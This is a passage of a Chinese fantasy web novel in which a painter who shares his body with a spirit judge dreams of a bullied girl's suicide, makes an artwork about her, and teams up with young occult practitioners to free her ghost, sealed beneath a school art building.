吴惟:“一周之内吧,两天肯定不够。”
仰飞光“……”完蛋,忘记了某人跟小朋友一样较真。
总务主任当然不介意,虽然一周听起来有点久,但他也知道工程量不小,也不差这一周,“行,那就拜托两位了。”
这边商量好之后,仰飞光提出自己逛逛,需要拍下周围环境的时候,总务主任就先回去了,毕竟他也不是只有这一件事要做。
仰飞光有些无奈地拍了拍吴惟肩膀,“老弟啊,不是我说,有时候做人不要太实诚,你看这工期定死了万一到时候出不来呢?”
吴惟恍然还能这样?遂有些不好意思地道歉:“啊?对不起。”
仰飞光叹气:“算了,没关系,我手下也不是没有别人,你就负责敦煌风的那版方案就行了,剩下的部分我来想办法,不行就找外包,总能在一周之内做完的。”
刚刚犯了错的吴惟现在异常乖巧:“好的。”
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五月已经进入夏季了,该开的花已经开完了,如今的德育高中入眼皆绿。
那座翻新的展览馆就矗立在一片绿洲中,这个角落原本距离外面的街道挺近,单由于植被的隔离,外面的喧嚣仿佛来自很遥远的地方。
真是一个好地方。
仰飞光这一次来不仅带上了吴惟,也带上了手底下的团队。
上次的稿件通过的很快,甲方一眼就看出了吴惟那套方案的优越性,壁画苍老古朴的气息和工业风的自然质朴,藏在在园林一般一步一景的环境中,从教学楼的方向走来,很难不给人一种穿越感
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没错,为了这个方案,仰飞光甚至找人一比一建模复刻学校的布景把壁画贴了上去。
果然这一步是走对了。
这次来就正式开工了。
仰飞光把任务分配下去之后,问了一句:“怎么样,大家还有什么问题吗?”
大家都表示没有问题,散场后,吴惟悄悄摸过来,问了一句:“那我做什么?”
他没有被分配任何工作。
仰飞光道:“前期的工作照着稿件临摹他们很熟悉了,暂时不需要你做什么,之后还需要你来把控大方向。”
“现在没什么事,去玩吧。”
吴惟:“?”
也…也行吧。
虽然不干点啥有点不自在,但怎么说这也不是自己的项目,不熟悉流程,就全听老同学的就好了。
既然无事可做,吴惟就溜溜达达去校园另一边逛了,毕竟别人都在工作,看到自己这么悠闲总归不太好。
婴灵还是第一次见真正的校园呢,之前看动漫的时候了解过一些,但现实中的和动漫里肯定是有差别的。
别的不说,光画风就不在一个维度上。
婴灵站在树下,望着正在跑圈的的学生,这会儿正是上课的时间,操场上的人并不多,只有两个方队,并不整齐,连着装都是花花绿绿的各不相同。
“原来学生不一定会穿校服啊!”婴灵之前一直以为学生都会穿校服去上学,“话说你以前上学穿校服吗?”
吴惟:“天热了穿,虽然校服面料不好,但是还挺好洗的。”
婴灵:“?”
“怎么说呢,其实大多数学校,除了重大活动和每周一的升旗一般是不用穿校服的,本来质量也不咋好,穿着不舒服,谁愿意天天穿呢?我们冬天都是羽绒服外面套校服,升完旗脱了,不然得冻死。”
婴灵对校园的幻想啪的一下就消失了。
这差距也太大了。
“不过我穿校服主要是因为懒得买衣服了,夏天光穿校服,每天洗完早上就干了,挺省事的,而且校服洗坏了也不心疼。”
婴灵:“不愧是你…”
“那边的同学,你站在那干嘛呢!”
正托着下巴听吴惟分享校园生活呢,右前方传来一声大吼,婴灵压根没反应过来是在叫自己,毕竟自己又不是学生。
那人见吴惟不理他,阴着脸往这边走,婴灵察觉到有人靠近了,下意识抬头,被这阴沉的表情吓了一跳。
面前是四十来岁的中年人,一脸凶煞相,不过吴惟一看到这个表情就好像明白了什么,意识空间里的脸色显得一言难尽。
“你是哪个班的?现在是上课时间,不在教室里呆着,跑这来做什么?!”
婴灵惊呆了,不是这位老师你眼神不好吗?她现在这个身体都二十五的人了那像学生啊?
对面见他不说话,眉头都皱成了“川”字形,继续喋喋不休地教训着:“现在的学生一天天的不学好,把学校规章制度当什么了,你在这等谁,不会是早恋了吧,我可警告你…”
看到学校著名“清道夫”逮着一个小可怜在骂,体育课已经进行到自由活动的同学一脸八卦地竖起耳朵悄悄围过来。
“完犊子,又一个早恋被抓住的,清道夫这次过分了啊,另外一个没抓到就开始了,万一是误会呢?”
“没办法啊,谁让人家那么嚣张,我刚刚跑圈的时候就看到人站在那了,一看就是在等人。”
“但是等人不一定是早恋吧?”
婴灵这会儿终于知道吴惟为什么总喜欢面无表情地吐槽了,是真的槽多无口啊,她很无奈地开口道:“您眼睛没问题吗?”
周围的人惊呆了:“这哥们狠,居然敢怼清道夫。”
“什么?”被学生戏称为“清道夫”的教导主任没反应过来,他这是被骂了?
婴灵:“我都二十多的人了,你哪只眼睛看我像高中生了?”
这事仰飞光熟,如果他在这,肯定会吐槽老同学这清蠢的目光,绝对是高中生不能在多了,更何况现在用这具身体的是没怎么见过人间事的婴灵。
那不谙世事的小眼神,要不是脸张开了,指不定会被当成初中生小学生呢。
就…真的挺一言难尽的。
所以自认为眼睛没问题的教导主任肯定不信,愤怒道:“小小年纪就学会骗人了,可真是不得了!走,跟我去办公室,叫家长!”
这句话简直要咬牙切齿,像是从牙缝里挤出来的。
婴灵瞪大了眼睛,丹凤眼中硬生生透露出一丝不可置信。
.
10. 第 10 章
“哈哈哈哈哈哈哈哈”
“别笑了…”
“哈哈哈哈…对…对不起,哈哈哈哈…我做不到!哈哈…”
婴灵面无表情地盯着笑的仰倒的仰飞光。
众所周知大学生是一种很喜欢给同辈人当爹的生物,虽毕业多年,但到底是老同学,一见面难免会带出上学的习惯。
所以可想而知,被吴惟当家长叫来的仰飞光是个什么心态了。
话说回到两个小时前,仰飞光接到教导主任的电话,人都懵了,什么叫“吴惟同学的家长”,什么叫“逃课早恋”,不是合着自己叫吴惟去玩他跑去撩妹去了?
见面才发现,某人是真够冤的,一个人站在那里,就因为长得好看被恶意揣测早恋。
也对,就吴惟那在人群中就缺根弦的,别说撩人了,戳一下动一下都算好的。
好说歹说说不通,最后把总务主任请过来认领,才把吴惟“赎回来”,来来回回折腾了两个多小时。
这两个多小时一直都是婴灵在外面,吴某人早已经社死自闭到意识空间最底层了,怎么拉都拉不出来。
这什么人间疾苦!
婴灵踢了踢蠢蠢欲动脚,仰飞光一个起跳,跳到一边,顺了口气,一本正经地说道,“好了不闹你了,呐,拿着这个,这是临时校园卡,还有宿舍楼钥匙,这段时间咱们得先住这了。”
仰飞光从兜里把东西掏出来,递给婴灵,接着说:“不过你想回去住也行,这几天你的活也不多…”
说到这,他又开始犯欠,露出那种揶揄的表情:“或者没事混到高中生里去上上课也不是不行,有事爸爸给你担着。”
说完就飞快窜出房间并大喊了一句:“我去监工了!”
看到人没有追出来,仰飞光顺了顺气,“呼,还好我跑得快,好家伙,吴惟这家伙什么时候功夫这么好了。”
他刚刚看到自己被揍的爬不起来,虽然知道看到的东西夸张。但有一点,他看到的和人相关的技能绝不会错,对方是真有能力把自己揍到爬不起来。
想刀一个人的眼神是藏不住的,婴灵现在看着被关上的门还有杀意呢:“跑的可真快!”
婴灵轻哼一声,用意念戳了戳吴惟:“你爸爸走了,现在可以出来了吧。”
吴惟:“。”
自闭忽Q…
.
“好冷…”吴惟哆嗦着身子,抱紧手臂使劲搓了搓,“五月的天气有这么冷吗?”
搓到一半突然感觉不太对劲,为什么身上感觉湿哒哒的,他可不记得一斤跳进湖里游了一圈,而且…
吴惟抬头看了一下四周环境,空荡荡的,除了四面墙和一个楼梯,什么也没。
透过墙上很高的窗户,大概能看出来这是一个厂房或者仓库,至少以前是。
大门关着,吴惟踉踉跄跄走过去试着去拉门,是从外面锁着的,能从门缝里看到铁链。
不对,这双手一看就不是自己的,作为一个画师,他平时把手保养的挺好,除了握笔的茧子,至少皮肤是正常的红润饱满,不像这双手粗糙甚至有干裂的痕迹,指头上有不少肉刺。
“这姑娘肝不太好啊…不对,关注点偏了,我现在是这个女生。”吴惟回过神来,开始注意起自己的处境。
“这个女孩儿状况很不好,似乎还来着月经…”没错,他感觉到了,不光那里流了,这具身体还痛经!
“啊…原来痛经是痛一圈,不是只有肚子的问题。”真是老腰都快断了!
吴惟有点欲哭无泪,想回意识空间戳戳婴灵,但是一点感觉也没有。
痛经,还被泼了一身冷水,衣服湿透了不说,这地方明显很久没阳光了,阴冷的很,再加上身体一阵阵地发虚,尤其是现在还出不去…情况不要太糟糕。
吴惟感觉到腿软,他小时候身体也不好,隔三差五生病,直到自家老妈学了针灸之后,慢慢把他身体调养过来了,再加上之后有意识的养生和锻炼,才摆脱了虚症。
但是有道是由俭入奢易,由奢入俭难,体验过身体强壮的好之后,再也受不了一点虚了。
平时哪怕只是有一点点发虚,他都会感觉心慌,然后加倍补回来,如今这一下,说是从天堂掉到地狱也不为过。
但是人在这种处境下,除了恐慌,还有必须找到出路的决心,吴惟支楞起发抖的双腿,艰难地移动到楼梯口。
下面不行只能上楼看看了。
“只要意识不是困在身体里就好,只有冷眼旁观这副身体的处境,不要感受它,才能不被它影响。”
这么想着,吴惟当真感觉好受多了,迈开腿一步一步往上走。
“奇怪,这个楼梯怎么看起来好像没有尽头?”吴惟一边平稳着呼吸,一边无视双腿灌了铅一般的感受,抬头往上看。
头顶仿佛能看到许多层楼梯,又仿佛什么也没有,幻像重重。
“是梦啊。”是梦的话,走不走都一样,只要等到醒过来就好了。
但这感受又很真实,看起来不像是梦,梦里只是能知道到大脑认为的感受,但感受不到本身,而现在刚好反过来,我能够感受到这具身体所有的不适,但明显知道我不应该感受的到。
“婴灵不是说我的灵觉能够趋利避害,一旦威胁到生命,总是能刚好避过,现在既然没有触发灵觉,也就是说,现在的情况威胁不到生命。”
“所以,把我困在这的东西是有什么诉求吗?”总不能是替死吧。
话音落下,周围的环境突变,此时的吴惟站在天台顶,还是那个身体,还是那副浑身发冷虚弱的状态。
此时的他不仅身体虚弱,从心口传来一阵阵刺痛,他抬手摸摸心脏的位置。
这种感觉很熟悉,就像他读小说和或者漫画的时候,与角色共情的时候,感受着他们的痛苦与绝望,心脏就会出现这种抽痛。
吴惟小时候,心脏相较于其他脏腑不算差,但是沉浸在那些文艺作品中,陪着一个个角色经历悲欢的时候,因为或许投入,才伤了心脏,甚至一度有间歇的毛病。
也是后来慢慢调养好的。
共情能力太强也不是什么好事。
吴惟内心叹了口气,短短不到一分钟的时间,寒气从心脏处蔓延,浸透四肢百骸,使得他身体不住的发抖。
吴惟感受着这种绝望,身体跟着向前迈出了一步,瞬间天地倒悬。
“你把我拉到这里来,就是想让我陪你一起死吗?”风在耳边猎猎作响,吴惟反而冷静,连刚刚心慌的感觉都仿佛是幻觉一般。
下落仿佛无止境,耳边的风声逐渐扭曲成了吵闹的杂音,仿佛从天边传来一般,隔着着什么东西让人听不真切。
但依依稀能分辨出组成这段杂音的来源,打骂声、嘲笑声、诋毁声…仿佛全世界的恶意都向他涌来。
这一刻吴惟很庆幸自己是一个很自我的人,虽然有时候会在意别人的评价,会因为别人说的话感到自闭,到一旦这个度超过了一定的阈值,他就会封闭自我,外界的声音伤不到他分毫。
否则,哪怕把自己拉倒这个幻境的东西没有恶意,他也会被拖着跟这个女生一起沉沦在噩梦里。
吴惟冷静,甚至有些冷血地这么想着。
.
阳光透过窗帘柔和得洒进室内,吴惟睁开了眼睛,扭头看着不怎么遮光的帘子有些出神。
耳边是仰飞光的呼噜声。
他讨厌呼噜声,但昨天却睡的很沉,一点也没受他影响,明明做梦的时候应该睡的很轻才对…
不对,做梦,昨天那个不是梦。
吴惟突然起身。
婴灵听到动静,揉揉眼睛爬了起来:“怎么了?”现在是早上快六点,“你今天起的可真早。”
上学那会儿,吴惟一般都是见光醒几点日出几点起床,不过这不重要。
“我是怎么回来的?”吴惟问了一句,他的记忆停留在了仰飞光跑掉之后。
婴灵一脸怨念说道:“当然是我回来的啊,从那家伙走了之后你就没动静了,我回意识空间找你发现你睡得特别香。”
“你不知道,昨天那个姓仰的多过分,他居然把昨天那件事跟你班群里的那群人说了!然后
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那群家伙还起哄叫你去跟高中小朋友玩,争着当你爸爸呢,现在连群名都改成了[今天崽崽上学了吗]!!”
吴惟:“……”
现在躲回意识空间还还来得及吗?
“来不及了!你自己的同学你自己处理吧!”婴灵说着就要封闭意识空间,被吴惟制止了。
“等等有件事和你说。”
婴灵:“?”
吴惟大致说了一下昨天那个“梦”,然后分析道:“我觉得那个仓库应该就是艺术角,至于那个女孩儿,我只知道她是跳楼的,生前应当经历了好多不好的事。”
“打骂、嘲笑、造谣,这三种声音最明显,其他的听不太真切。”
婴灵:“奇怪,按理说有鬼我不应该没发现啊,我没感受到那栋楼有什么特别的。”
他们昨天回来之后呆的就是艺术楼里面布置的临时办公室。
两人面面相觑,都没有什么头绪。
吴惟掏出平板,起了个草稿,遇事不决先画画,也是没谁了。
“打骂应该来自于家庭,一般来说学校的老师不敢这样,加上那女孩儿的手上的冻疮和茧子,一看就是干活留下的。”
“嘲笑和造谣虽然听不清晰,但从环境上感觉应该来自于校园,这是遇到校园霸凌了吗?”
“也对,能够压抑到想要跳楼,只能是无论在什么地方都无法找到能让自己放松的地方一根弦绷得太紧,总会断的。”
笔下的草图已经成型,纯黑的背景上无数双眼睛盯着坠落的女孩儿,周围似乎密密麻麻挤满了人,细看又看不真切,周围的一切模糊又扭曲,仿佛要将女孩儿淹没。
仰飞光醒来就看到临时室友靠在床边画画,倒也不必这么用功吧。
洗漱完,看他还在画,仰飞光地悄悄走过去看了一眼,嚯,这么压抑。
他看看画面,又看看老同学的眼神,画面一般是体现作者本人情绪的出口,但明明吴惟看起来没什么问题,反而冷漠的紧,画笔下宣泄出来的情绪却能够吞噬一切。
等等,听说有些抑郁症患者很会隐藏自己,他还不会…
“你在想什么?”仰飞光回过神就发现吴惟已经把屏幕关掉,抬头望着自己。
“这不是,怕你出什么事嘛,刚刚那幅画…”
吴惟按开平板,画面再次呈现在仰飞光眼前:“这个啊,昨天看了个校园霸凌有关的帖子,突然来了灵感。”
“那你以前…”
“什么?”
仰飞光不知道该怎么说,老同学这性格应该也挺容易遭受霸凌的,是因为感同身受,所以才画的这么强烈?
大学的时候,吴惟就像隐形人一样,几乎不怎么参与同学之间的互动,哪怕小组作业,也基本是一个人完成。
甚至他都怀疑除了殳玲,班上应该没有人还能想起这位老同学吧。
难道是因为高中遭遇了什么,所以…
仰飞光看吴惟的眼神逐渐变得怜悯。
吴惟虽然很多时候不会看人眼色,但有的时候又格外敏锐:“把你的眼神收收,别人有没有霸凌我不知道,但是我确实孤立了所有人。”
仰飞光轻咳了两声,问道:“你从小就这么独吗?”
“是啊,有什么问题?”其实很小的时候并不是这样的,只是因为身体不好,他说话声音太小,别人总是听不清他在说什么,久而久之他就懒得开口了。
众所周知,人的说话声音跟气息有关,中气不足的人正常说话的声音就是会很小。
如果你听到他跟正常人说话声音一样的时候,那是他在很费力的去喊了。
但是吴惟不想费力,气虚体虚让他更喜欢保存体力,在难以和人交流的情况下,很自然的,就和人群渐行渐远,他逐渐有了自己的伙伴,那些伙伴在异世界,在梦中,也在他的笔下。
“没什么,挺酷的。”只要没问题就好了,毕竟谁也没有过多的同情心去关注别人的生活,仰飞光觉得,现在这个点还是解决生理问题吧,“走吧,去吃饭。”
“好。”
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11. 第 11 章
“嗡嗡”
手机开成振动,提示音太多了,夙逸兴懒得去拿手机,估计又是什么垃圾消息吧。
“嗡嗡”“嗡嗡”“嗡嗡”…
想多了,原来真有人找,夙逸兴赶忙掏出手机给关成静音模式,才小心翼翼放到课本上,前面竖个东西意思意思挡一下。
反正不过分,老师不会管的。
点开某鹅,好家伙夙明月那家伙居然主动给自己发消息,真少见。
明明明月:事事无为又发作品了
明明明月:#链接# 坠落
明明明月:你下课了再点开,是视频
小玉盘:#长草颜团子比ok#
发完这条夙逸兴按灭了屏幕,抬头的时候余光瞥到离歌的状态好像不太对劲,回头看了一眼。
这不看不要紧,一看吓一跳,自家感性的室友竟然在偷偷抹眼泪!
夙逸兴:“!”
“你怎么了?”
离歌拿了张纸胡乱擦了一下,偷偷看了眼讲台,还好老师没注意到这边。离歌缩着脖子弓着腰,尽量让自己不那么显眼,悄悄跟夙逸兴说:“我刚刚看到无为太太发了新作品,太压抑了。”
“你说人怎么可以坏!”
夙逸兴不明所以:“不是,谁坏?无为?”
离歌平复了一下情绪,才慢慢解释道:“不是啦,是他新发的手书,记录的是一个女孩儿遭受校园霸凌、家庭暴力还有社会舆论几方面打击,最后跳楼的故事。”
“就是那个坠落?”
“你也看了?”
“没有,明月给我发了我还没看,这不是还在上课嘛,不是你怎么看的?”
离歌不好意思地“嘿嘿”笑了两声,轻轻扒起遮住耳朵的头发,露出黑色的耳机,随后又放了下来。
夙逸兴:“6”
我们之中好像出了叛徒。
艰难地熬完了一节课,夙逸兴火速抢过离歌的耳机,打开视频。
视频制作并不精细,很多地方用的是草图的形式,非常狂野,但正是这种狂野更能够体现人物内心慌乱。
整个视频的主线是一个女孩儿走上天台,从高台上一跃而下,背景逐渐变得黑暗,模糊。
后面是用蒙太奇手法穿插闪过的的黑白影像,人物模糊而扭曲,仿佛一团乱麻。
看不清人脸的母亲对着自己大声指责,嘴巴仿佛能够女孩儿吞噬、校园里的同学对着自己指指点点,笑容扭曲、学校的老师在一边说着风凉话,指责自己成绩下滑严重,就连一家三口温馨的画面都变得面目可憎,因为那里面没有自己…
乱七八糟的画面配合着杂乱压抑的背景音乐,仿佛把人挤在一个看不清的套子里,不断地抽空氧气,让人不能呼吸。
夙逸兴感觉到心脏被一双手用力攥紧了一般,头皮也跟着紧绷,最后所有的画面尽数破碎变成恶鬼扑向女孩儿…
一瞬间,耳边骤然安静,恶鬼尽数消失,女孩逐渐褪色成了黑白,化成光点慢慢消失…
就在夙逸兴以为结束的时候,画面中间裂开了一道口子,女孩儿慢慢睁开眼睛,蓝天白云,映入眼帘,这时舒缓的钢琴声响起,伴随着虫鸣鸟鸣,仿佛刚刚的狂乱只是一场梦。
视角随着女孩起身的动作转动,入眼是万紫千红的春色,忽然有一只鸟飞了过来似是落在肩头,它轻轻蹭了蹭女孩儿的脸。
沉重的心这一刻仿佛得到了治愈。
镜头忽然拉远,绚烂的春色一瞬间破碎成星星点点的光,消失在屏幕上,留下空寂的白…
视频不长,只有短短不到一分钟,但越是浓缩,越是节奏快,越是能带给人震撼。
夙逸兴久久无语,退出全屏,主页上除了视频和标题,什么也没有,甚至一个标签也没贴。
也是,好的作品不需要言语,就是心里空落落的。
半晌,离歌戳了戳室友:“回神了,快上课了。”
“哦。”
上课是不可能好好上的,根本回不了神,夙逸兴带着被空落落的心,开始滑动屏幕刷起了评论。
[好压抑,好难受,为什么可以这么黑暗。]
[无为太太你变了,呜呜呜…]
[我先来说说吧,第一次写长评,想到哪写到哪,会比较乱,希望大家不要介意。
我算是无为太太的老粉了,从他还只有几十个粉丝的时候就关注了,他的绘画风虽然一直有些变化,但是内核,或者说气质一直都是一种观察视角的感觉。这么说很玄学,但你看多了就会明白。
但这一次不一样,不仅是我们看画的人,好像连他自己都带入进去了,人物的痛苦刻画的非常到位,也非常主观。
我自己就是曾经是校园霸凌的受害者,被孤立,被恶意造谣,甚至有人到我面前贴脸开大,细节已经记不清了,但当时的感觉即使到现在依旧十分刻骨铭心。
中间那段刻画的特别好,我每次会想起那些霸凌者的嘴脸的时候,也是模模糊糊,看不真切,主观的意识会放大恐惧的地方,也就是嘴,画面上模糊不清的人影,但每张嘴都那么清晰,所以那一段带入感特别强烈。
哦对还有前面的眼睛,别人是什么感受我不清楚,但我的代入感特别强,在那段被霸凌的时间里,无论我走在哪里背后都仿佛有无数的视线盯着自己,好像恶意是来自全世界一样。
最后是怎么走出来的呢,说来大概是缘分吧,现实不如意的人总会喜欢在网上找安慰,那段时间我就沉迷上了一个指绘app,看到了太太的“人间地狱”系列,图我就不放了,毕竟对太太来说那也算黑历史了哈哈,哪怕以我的审美都能看出来要笔触没笔触,要技巧没技巧,画的一点都不好。
但它却成了我的救赎。你能想象吗,一个画地狱的场景,用色也很压抑,但整个画面的气质却有一种…emmm疏离感?(原谅词汇量少)就是那种你能感觉到环境的压抑,但内心却莫名其妙的平静,仿佛一切对你来说都只是过眼云烟的感觉。
有的时候可能缘分就是这么神奇吧,家人朋友安慰我的话,也有很多类似“不要去在乎别人说什么,做自己就好”之类的话,但是我都get不到,也就是看了太太那个系列,突然间好像找到一个共鸣的人,他有着和你一样的经历,因为他的不在乎变得无坚不摧,我也想成为那样的人,于是我真的做到了。
这么多年过去,太太的画技一直在进步,画风也始终疏离又温暖(当然,这可能只是我的滤镜),但是这一次和以往都不一样,仿佛一种情绪的宣泄,我不知道太太本人是怎么想的,但是看完视频,我发现原来以前的自己是刻意在模仿太太的心态,去刻意让自己不要去在意,实际上心里的疤痕依旧没有治愈,也是到这一刻,才真正把情绪宣泄了出来,感觉到一丝释然。
最后几秒的花园,真的很治愈,谢谢太太,也希望画中的女孩儿真的如太太的祝福一样,来到这样一个温暖的世界,所感受的只有幸福。]
[抱抱楼上,太会说了,我也有类似的感受,感觉曾经遭受的不公发泄出来之后心情舒畅了很多。]
[从阿币过来的,呜呜呜它真的太会推了,我也有类似的经历,来来回回看了很多遍,情绪释放出来之后,想起了当初的很多细节,并不是所有人都有恶意的,但是因为当时的处境导致心理上没办法接收到那些鼓励,好像全世界都被扭曲成了吃人的怪物,原来怪物竟是我自己。感谢up。]
掠过一些吹彩虹屁的评论,夙逸兴找到了不少曾经有被霸凌过的人发出感同身受的感慨,以及一些老粉说风格变化的言论。
其实她自己也有感觉到,之前为了分析这个人,前面的作品都有扒过一遍,包括上面长评里说的[人间地狱系列]。
夙逸兴作为文学生,本身对情绪就挺敏感,再加上她自学服装设计,对绘画也是有涉猎的,能够从画面中大概分析出来“事事无为”的性格。
如果真遇到这种事,绝对是他一个人孤立所有人,诋毁造谣甚至都不一定会被大脑接收到,他一个人就是一个世界,甚至都不可能感到孤独。
所以这画的是别人。
明明明月:你看过了吧,他不会无缘无故突然来灵感发这么一段,应该是遇到了什么
小玉盘:比如,一只遭到霸凌跳楼的的女鬼
明明明月:你也这么认为?
小玉盘:你觉得他需不需要援手,
明明明月:?你这是准备出手了
小玉盘:从上次的分析来看,虽然他的能力很强,但到底是刚接触玄门,应该很多事都不懂,说不定遇到麻烦了呢
明明明月:…那你要怎么跟他说
小玉盘:还能怎么说,直接问呗,不然你帮我查一下他手机号我直接打电
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话过去
明明明月:不是很懂你们社牛
夙逸兴没再理他,点开“事事无为”的某博私信,就开始输出
小玉盘:太太在吗,您最近是不是遇到什么麻烦了,这里专业捉鬼,太太如果需要符箓支援可以联系我哦~
.
午休的时候,吴惟点开某博,后台已经炸了,该说不愧是社会热点问题吗,居然这么火爆。
这几天他天天晚上都在做梦,从被家里人要求干各种粗活到言语侮辱,再到学校被同学指指点点。
吴惟不是很懂现在小孩儿的脑回路,三个室友明明最开始跟她很要好,说翻脸就翻脸了,甚至还在背后诋毁她。
再后来因为成绩下降,老师找她谈心,说是关心,但其实句句都在刺激女孩儿的神经。
不是她不努力,而是她已经有心无力了,谁在高压环境下还能分出心来学习呢,更何况发展到后来,那些人已经不满足于用言语凌迟,甚至开始动手动脚,以至于大冬天被关进废弃仓库差点被冻死。
就算这样,校方依旧装聋作哑,为什么呢?
吴惟无论如何都不能理解,哪怕现在网络发达,也不是没有见过所谓的人性之恶,但从来没有这么真切的感受过。
他的共情能力再强,也到底也没这样直面过。
大概看了看评论,没想到类似的事件这么多,吴惟感觉心里堵得慌,说不出的难过,他很少有这么强烈的情感。
可是作为一个普通人,他什么也做不了。
唯一值得安慰的是,似乎有不少人因为自己的作品,治愈了曾经留下的伤痛。
作为结契对象,婴灵是能感受到他的情绪的,看他低落的样子,只能硬着头皮笨拙地安慰道:“你别难过,虽然咱们帮不了所有人,但是至少可以帮帮这个女孩儿。”
吴惟神色恹恹道:“哪有那么容易,这是学校和张钰婷两家的事,家里人已经选择要钱息事宁人了,作为一个外人不好插手,更何况我这没关系没人脉的,就算我想帮她做什么,都找不到门路。”
不过…“阳间的路子估计是走不了了,判官小姐,你有什么办法吗?”
“我不能插手人间事,何况作为赏善司的判官,我也不能越过察查司放她去报仇。”婴灵无奈摇头,“我最近研究了一下,发现之前没有感应到她的存在应该是因为被镇压了,大楼咱都逛遍了没有发现镇物,大概就是风水局了,我的权能基本上都在于奖赏善者,给予祝福和判定因果,对风水一窍不通。”
“啊…你之前不是说学符阵的基本上都是风水大师吗?”
“所以说是基本上啊,而且人间是这样的没错,但是我是判官,修的是功德道,符阵对我来说都算是多余的,我教你那些东西是判官笔传承里自带的,我自己都没学懂,谁知道你天赋那么好一学就会。”婴灵感到有些一言难尽。
“怪我咯……”吴惟思考了一下,又问道,“上次去漫展的时候,那个老太太走的时候摔了一跤,和你没关系吗?”
“老太太…”婴灵嘴角抽搐了一下,对方最多比吴惟大20岁左右,这嘴有时候是真损,不过这不是重点,“我可什么都没做,是她自己冲撞了判官,我又有功德护体,功德本身就有一套赏罚机制,她自己造的口业当然要自己承担了。”
“哦…”
吴惟再次叹气,有的时候吧,看到了不好的事又无能为力,良心是真的不安。
等等,这是什么?
吴惟在私信里看到了一条不一样的消息。
小玉盘:太太在吗,您最近是不是遇到什么麻烦了,这里专业捉鬼,太太如果需要符箓支援可以联系我哦~
就…怎么看怎么像诈骗…
不过…“瞌睡送枕头啊,这不就和玄门搭上线了。”
吴惟一言难尽地戳戳婴灵,“不是,你就不怕是诈骗…”
婴灵:“怕什么,他要是敢骗你,一个因果符阵过去,果报只会反弹他自己身上,更何况我功德护体!”
“那就接触试试!”
半个小时后…
“你怎么还不发消息?”婴灵看某人删删改改无数次,就是不点发送,终于忍不住了,来了这么一句。
吴惟:“不知道该怎么说,总感觉措辞不太对…”
所以说社恐你是不能指望他主动社交的…
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12. 第 12 章
事事无为:你好,你会捞鬼吗?
吴惟:“这么直接的吗?”
婴灵:“不然呢?”
吴惟:“不是很懂你们社牛…”
没错,婴灵看不下去了,直接把吴惟踹进空间,拿起手机就发了这么一句,干脆利落。
就是没想到对面回的很快,好像一直在盯着一样。
小玉盘:捞鬼是指?
小玉盘:您的意思是那个被霸凌的鬼被困住了,您想救她出来是吗?
事事无为:是,她被困在一栋楼的下面,我怀疑是什么风水局,你有办法破局吗?
小玉盘:emmmm容我想想
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好家伙,本来以为无为太太被怨气加身鬼缠上了,大发善心想度化鬼,没想到还牵扯风水。
夙逸兴倒也不是没有渠道找风水师啦,主要是既然有风水师把鬼镇压了,那么很有可能这个鬼有能力伤人又无法度化,只能先镇压下来让她没办法害人。
一般这种情况不会有风水师去接手的。
夙家是符箓世家,没有风水的传承,她自己本身更是学剑的,别说风水了,就连捉鬼也也只会暴力超度。
如果是让她暴力破局,肯定会伤到里面的鬼,看无为太太的样子,肯定是站在鬼的一方,不希望她受到伤害。
说实话,看了那个手书之后,夙逸兴自己也是站鬼那边的。
“呐,你的饭。”夙明月端着盘子坐到了对面,“怎么?对面回消息了?”
“是啊,那个遭受校园霸凌的女鬼可能被压在风水阵下面,咱们也不好请风水师出手。”
夙明月看着暴躁的老姐叹了口气,道:“容我提醒一下,咱们的主要目的是接触这个事事无为,不是帮他做什么事。”
夙逸兴咽下嘴里的土豆丝,白了他一眼,“说的好像你不想帮一样,”说着她把身子往前倾了一点,“阿月,你比我聪明多了,你说该怎么办。”
夙逸兴作为剑修,本身就是个嫉恶如仇的性子,夙明月虽然平日里比姐姐冷静许多,但也是个眼里揉不得沙子的人。遇到这种事,无论如何都得去看看情况,更何况还能近距离观察一下最近比较惦记的人。
如果对方真如表现出来的一样善良,两人是想要把对方拉入玄门的。
夙明月沉吟了一下,道:“风水师一般不愿意接破坏破坏别人风水局的原因,是怕放出来不该放的东西沾染因果,如果我们可以提前消除对方的怨气,让她可以像正常人一样交流,应该就会有风水师愿意接单了。”
“那我跟对方说一下,咱们需要去现场确认一下情况?”
“行,这种事宜早不宜迟,正好明天周末,问问对方这两天有没有空。”
小玉盘:无为太太明天有空吗,我需要去现场确定一下情况,才能确定能不能做
事事无为:叫无为就行,这两天都有空,地址是城东的德育高中,你来了给我打电话,我带你们进来
小玉盘;#长草颜团子比ok#
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第二天清晨,吴惟接到了夙家姐弟,有点意外他们居然这么年轻。
也对,会叫太太的大多数都是同龄人。
吴惟带着人来到艺术角,正好大早的工人还没有出工。
艺术楼在学校的最西边,清晨的阳光从高大的橡木缝隙里透过,留下一地斑驳。
“前面就是艺术楼了。”吴惟指着前面被蓝色铁皮围住的圆楼说道,夙明月顺着他手指的方向看过去。
那栋建筑说高不高,但也有五层楼左右,外墙有的地方伸出,有的地方凹陷,节奏分明。
进到铁皮里面,看的更加清晰,突出的部分明显像是卦象,夙逸兴摸摸下巴,说道:“一短两长,是兑卦,可这边不是东边吗?”
吴惟虽然对玄学不是很清楚,但是曾经为了画一个设定还是大概了解过的,对此还算清楚。
“这一圈的卦象都是反着的。”作为壁画的总设计师,整栋楼的结构他还是很清楚的,只是没来之前以为单纯是设计理念中想要表达的东西,直到梦到那个女孩儿。
当初设计壁画的时候,为了突出方位特点,还专门搜过卦象,就是为了和壁画上的元素群代表地区的方位一一对应。
虽然这点小心思对于画面整体来说无足轻重,但是作为画师,还是力求可以做到尽善尽美。
夙明月沉吟道:“应该是和镇压鬼魂有关,我们可以进去看一下吗?”
吴惟点头,带着两人进了室内。
由于没有装修,室内非常空旷,一眼看过去,只能看到中间的方形天井。
天井的面积也不小,有玻璃幕墙隔开,只有侧面有一个小门。
天井的造景简单粗暴,四周是水池,中间是一个“小岛”,岛上只有一棵柳树。
四周的水面上有一圈不规则摆放的石质平台,应该是用于给人站立,清理水上落叶用的。
夙明月走到中间,手掌贴着玻璃幕墙,说道:“是天圆地方的格局,一般来说这种格局含伏魔辟邪之力,一般鬼怪都会远离这种地方,按理说如果有魂魄被镇压在这里,应该早就魂飞魄散了。”
“而且这里也感觉不到有什么鬼魂的存在。”
“如果真的有什么东西被镇压在里面并且活了下来,应该是因为天井中间的柳木本身属阴,水流又是能够向地府的媒介,才会在下面给她提供一个庇护。”
只是这样迟早会魂飞魄散的,尤其是艺术楼开放之后,人气和鬼气互相克制此消彼长,处于弱势地位的鬼魂根本坚持不了多久。
